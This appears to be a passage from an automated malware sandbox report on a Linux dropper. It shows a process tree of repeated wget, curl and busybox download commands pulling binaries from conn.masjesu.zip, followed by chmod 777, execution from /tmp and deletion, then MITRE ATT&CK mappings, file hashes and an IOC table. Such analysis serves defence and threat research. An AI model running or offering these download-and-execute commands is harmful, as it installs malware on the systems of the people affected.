- File and Directory Permissions Modification
PID:957

/tmp/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
./6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
2⤵
- Executes dropped EXE
PID:958

/bin/rm
rm 6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
2⤵
PID:960

/usr/bin/wget
wget http://conn.masjesu.zip/bins/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
2⤵
- System Network Configuration Discovery
PID:961

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:962

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
2⤵
- System Network Configuration Discovery
PID:964

/bin/chmod
chmod 777 5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
2⤵
- File and Directory Permissions Modification
PID:965

/tmp/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
./5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
2⤵
- Executes dropped EXE
PID:966

/bin/rm
rm 5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
2⤵
PID:967

/usr/bin/wget
wget http://conn.masjesu.zip/bins/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
2⤵
- System Network Configuration Discovery
PID:968

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:969

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
2⤵
- System Network Configuration Discovery
PID:971

/bin/chmod
chmod 777 rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
2⤵
- File and Directory Permissions Modification
PID:972

/tmp/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
./rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
2⤵
- Executes dropped EXE
PID:973

/bin/rm
rm rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
2⤵
PID:974

/usr/bin/wget
wget http://conn.masjesu.zip/bins/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
2⤵
- System Network Configuration Discovery
PID:975

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:976

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
2⤵
- System Network Configuration Discovery
PID:978

/bin/chmod
chmod 777 SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
2⤵
- File and Directory Permissions Modification
PID:979

/tmp/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
./SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
2⤵
- Executes dropped EXE
PID:980

/bin/rm
rm SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
2⤵
PID:982

/usr/bin/wget
wget http://conn.masjesu.zip/bins/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
2⤵
- System Network Configuration Discovery
PID:983

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:984

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
2⤵
- System Network Configuration Discovery
PID:986

/bin/chmod
chmod 777 WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
2⤵
- File and Directory Permissions Modification
PID:987

/tmp/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
./WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
2⤵
- Executes dropped EXE
PID:988

/bin/rm
rm WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
2⤵
PID:990

/usr/bin/wget
wget http://conn.masjesu.zip/bins/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
2⤵
- System Network Configuration Discovery
PID:991

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:992

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
2⤵
- System Network Configuration Discovery
PID:994

/bin/chmod
chmod 777 8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
2⤵
- File and Directory Permissions Modification
PID:995

/tmp/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
./8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
2⤵
- Executes dropped EXE
PID:996

/bin/rm
rm 8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
2⤵
PID:997

/usr/bin/wget
wget http://conn.masjesu.zip/bins/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
2⤵
- System Network Configuration Discovery
PID:998

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:999

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
2⤵
- System Network Configuration Discovery
PID:1001

/bin/chmod
chmod 777 I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
2⤵
- File and Directory Permissions Modification
PID:1002

/tmp/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
./I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
2⤵
- Executes dropped EXE
PID:1003

/bin/rm
rm I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
2⤵
PID:1005

/usr/bin/wget
wget http://conn.masjesu.zip/bins/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
2⤵
- System Network Configuration Discovery
PID:1006

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1007

/bin/busybox
/bin/busybox wget http://conn.masjesu.zip/bins/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
2⤵
PID:1009

/bin/chmod
chmod 777 A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
2⤵
- File and Directory Permissions Modification
PID:1010

/tmp/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
./A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
2⤵
- Executes dropped EXE
PID:1011

/bin/rm
rm A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
2⤵
PID:1012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit
/tmp/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s

Filesize
16B

MD5
7689ca8c5bc85cf6b78ef89323d4df6a

SHA1
a1392ec3b571b3de167f0b9a5dadab4f14a2db76

SHA256
17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5

SHA512
40f543b232d42b9b7796382c15de33e682111685ad7ae87be455d0d8d3e48866dfc137f4555b8bc6bf03ac5dde233c8f20e8c4f220c05c71892de0ce14691471

Download Submit

ioc	pid	process
/tmp/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m	730	rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
/tmp/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s	737	yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
/tmp/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4	746	jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
/tmp/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys	771	6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
/tmp/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh	797	5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
/tmp/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7	813	kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
/tmp/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK	853	NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
/tmp/oieViux5SkcOflukQEESWqzwe8qoXmU0do	861	oieViux5SkcOflukQEESWqzwe8qoXmU0do
/tmp/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT	868	rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
/tmp/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq	875	I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
/tmp/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH	882	A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
/tmp/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb	890	SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
/tmp/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV	898	WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
/tmp/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA	905	8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
/tmp/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m	913	rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
/tmp/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s	921	yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
/tmp/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4	928	jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
/tmp/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7	935	kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
/tmp/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK	943	NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
/tmp/oieViux5SkcOflukQEESWqzwe8qoXmU0do	951	oieViux5SkcOflukQEESWqzwe8qoXmU0do
/tmp/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys	958	6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
/tmp/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh	966	5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
/tmp/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT	973	rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
/tmp/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb	980	SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
/tmp/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV	988	WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
/tmp/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA	996	8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
/tmp/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq	1003	I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
/tmp/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH	1011	A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads